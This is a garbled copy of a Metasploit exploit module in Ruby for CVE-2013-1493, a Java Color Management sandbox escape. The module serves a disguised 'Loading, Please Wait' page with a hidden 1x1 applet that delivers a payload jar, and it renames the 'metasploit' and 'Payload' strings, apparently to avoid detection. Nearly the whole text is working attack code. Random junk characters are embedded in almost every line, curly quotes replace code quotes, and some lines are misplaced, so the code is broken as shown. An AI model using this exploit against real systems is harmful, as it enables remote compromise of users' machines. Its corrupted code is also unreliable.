##
- t; ]! \, X$ y
6 r' s/ x$ R/ H/ }7 D: U# This file is part of the Metasploit Framework and may be subject to5 x7 f# @# C) l! [ C
# redistribution and commercial restrictions. Please see the Metasploit& l5 }' \, A) n9 ^5 l
# web site for more information on licensing and terms of use.
6 ]6 w- Z C6 _7 D+ {8 p" V- D1 L# http://metasploit.com/
; |' L( q7 F6 m" \4 }1 Z# c##
3 { L6 d/ y4 F! g; Arequire ‘msf/core’3 m7 @2 I8 m& ?# y0 r* f/ j; R* X. P
require ‘rex’, U$ D% V c( }$ x/ @; x
class Metasploit3 < Msf::Exploit::Remote/ v- z- }$ k) W
Rank = NormalRanking
_! F6 c; m1 c. Q4 K0 qinclude Msf::Exploit::Remote::HttpServer::HTML( G6 ?7 }0 s/ W8 P V6 x; H
include Msf::Exploit::EXE
! z' i# H% y+ [* Oinclude Msf::Exploit::Remote::BrowserAutopwn
6 }& i \) ~3 N$ [ Jautopwn_info({ :javascript => false })
. l$ F% W- r$ q% w, adef initialize( info = {} )
7 ]4 d3 t( [0 U$ P+ Usuper( update_info( info,1 `( t7 L& S+ v
‘Name’ => ‘Java CMM Remote Code Execution’,
) g; p" P; r- q* v( u4 H5 x3 c6 a‘Description’ => %q{: F* g8 P9 O+ y2 k1 G9 _. |4 @
This module abuses the Color Management classes from a Java Applet to run
$ Q) X$ m3 A1 f1 parbitrary Java code outside of the sandbox as exploited in the wild in February
U% V- _$ @1 N3 ?- j8 Cand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
9 W) P/ _5 n; b9 l- {- y6 iand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
/ n2 s% Q: }2 lsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java- U% g' W8 a- J$ B' N2 Y# l- w/ o
warning in order to run the malicious applet.
* z4 f# H! _: E2 z' P" l},& t( _, {6 V. U
‘License’ => MSF_LICENSE,
; C% w$ V' n8 H3 E1 t‘Author’ =>3 [ l5 o4 L5 i8 d5 V* b5 r
'Unknown', # Vulnerability discovery and Exploit
$ [7 d3 X* F r0 a$ M! m'juan vazquez' # Metasploit module (just ported the published exploit)
& E9 H0 x% a7 j# L7 K$ e0 W7 z/ V],
+ G& L8 C( @# b: J+ j% d2 x# B‘References’ =>
0 ~$ M' a. F4 J2 ]+ B[
T) l. j; a1 {. g; G/ \[ 'CVE', '2013-1493' ],
: |; {- s5 p7 k[ 'OSVDB', '90737' ],- k f. C& Q$ g2 F; |
[ 'BID', '58238' ],2 |$ V7 Y7 x. W
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],, } j {3 d1 M
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],6 p e, t% \" [0 {% v
[ 'URL', 'http://pastie.org/pastes/6581034' ]6 k! e8 ~% L' q
],. K9 A! z! z; [* P/ D
‘Platform’ => [ 'win', 'java' ],
2 z z ]4 j+ ?' s0 }+ h. k" v‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
# D7 i# `9 J/ l, B D5 Z5 v‘Targets’ =>
+ q. A9 i; l+ U% W4 i9 E0 W[9 D5 T9 n) S, d, |
[ 'Generic (Java Payload)',
& r, n' j1 }' ?+ a% a8 K: y8 g- H{
& V1 s: @& E# S'Platform' => 'java',
. t9 G- u; f6 i& u$ ^# y. x1 K'Arch' => ARCH_JAVA
! T# R& b/ N9 Q+ w# o7 y}" X% C& [! `. F. v6 f
],2 }# U9 {9 z6 t9 Q! ^
[ 'Windows x86 (Native Payload)',
4 i8 M2 q. ]# r) _# Q0 N{
5 l$ d) V! o0 u$ P'Platform' => 'win'," A: O! k) y- r0 ]0 b" D; }
'Arch' => ARCH_X86
: u2 W2 A& O% J; \}/ N$ B! J8 J( S" N# w2 U: p
]5 Y# S$ I" z% X7 L" u0 e w
],
1 x% N$ k5 o$ p& y# F2 k$ P! W* S‘‘DisclosureDate’ => ‘Mar 01 2013′; E; T" F. O4 z. f9 L
))
( a( f# ?5 T, M! Z/ ~7 | Wend2 \4 a6 n" T2 g( e
def setup
9 { r( q7 Q$ j( B" rpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
. I) P v/ j3 H% ]" R3 s3 T) l@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }: ~1 L$ M/ Y" i }$ ?" m: Q
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)% k* v4 S+ ~0 W; v G: @: R5 Z; A/ R! p; }
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
4 h/ S4 v) B. r4 S7 @3 c2 F6 Mpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
9 Y7 F* D" o; A! P* j@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
0 B( [( m1 n' V2 q8 Lpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
f9 D2 H8 f8 X2 i) m+ b+ ~% C8 w" f@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }0 m4 Z0 g5 y5 e) x# s
@init_class_name = rand_text_alpha(“Init”.length)
$ v8 }$ w( A5 L@init_class.gsub!(“Init”, @init_class_name)3 j' B: V% s& m+ G
super5 X8 N! o0 ~1 [5 r0 w9 X. {
end# W- `5 m% m3 g- Z3 |) |
def on_request_uri(cli, request)5 @- g1 B0 ~5 b
print_status(“handling request for #{request.uri}”)
7 @7 `; G) S8 v5 o+ icase request.uri
4 l8 D0 L7 G& @8 b0 S) E% Dwhen /\.jar$/i
3 M3 U" q; X# ?! {! J. Ajar = payload.encoded_jar
) o* c3 ^0 a2 A5 C9 Ojar.add_file(“#{@init_class_name}.class”, @init_class)6 N0 E! C' U9 k3 @" D1 [9 M4 S
jar.add_file(“Leak.class”, @leak_class) C+ C) O [7 ~. \. G
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
! C, D1 q$ m5 M* P+ sjar.add_file(“MyColorSpace.class”, @color_space_class)/ H7 U( g& y k0 ?; w: b; `8 }- H
DefaultTarget’ => 1,3 ?% L. Z4 U4 P9 O2 P: y
metasploit_str = rand_text_alpha(“metasploit”.length)- U% E& T b% H* u% K
payload_str = rand_text_alpha(“payload”.length)
, F3 N( X' i* \7 a% ^1 ^; jjar.entries.each { |entry|- T7 h7 }0 K4 ]0 M
entry.name.gsub!(“metasploit”, metasploit_str)( j8 G0 i% a- Y) f& |' b
entry.name.gsub!(“Payload”, payload_str)) ?0 C3 d$ s& ]* g
entry.data = entry.data.gsub(“metasploit”, metasploit_str)+ A0 V/ D# d) |# y% ~0 o
entry.data = entry.data.gsub(“Payload”, payload_str)0 [& v8 F7 }% M$ P. w* Y( ?
}0 |8 T$ f |& t' w( g: E
jar.build_manifest
8 ]% y1 p; r; A2 U# w9 r4 bsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })9 {8 N2 h" h# |* d/ f
when /\/$/
" s% P6 O' ?- Jpayload = regenerate_payload(cli); o2 A. _" t' S& n/ i2 |! } b; f
if not payload+ m; ? w' [3 O7 z
print_error(“Failed to generate the payload.”)
: {8 A6 A: G/ t" Usend_not_found(cli)$ ]$ O0 |# ~. k: A7 j! g
return, m6 c1 ~6 k z7 c' ]
end
8 U) Q% n" j* v) P+ l9 Esend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
' ]+ X |3 D; ]% K- @9 belse5 T+ Y7 z# T# j
send_redirect(cli, get_resource() + ‘/’, ”)
- ~/ V% ~+ g6 y' dend) ?) G9 @( Y3 L$ e+ ^" j& c
end* Z" e& {" X2 _4 h
def generate_html
8 W$ S8 A. p* v/ p& _ Khtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|. p0 ^8 ~. E& S
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
7 B! u3 ]0 n. p- Q9 xhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
) |( M2 T. q/ V/ Q+ Yhtml += %Q|</applet></body></html>|2 }; p/ G7 v+ K
return html# o) L6 N4 R9 t% p; q. i
end5 k p8 a3 g% F# A+ P" {: g( L
end
# R* b* }" m1 @8 e: |$ g$ t6 Kend
4 N5 T5 p& Z& }9 C3 i |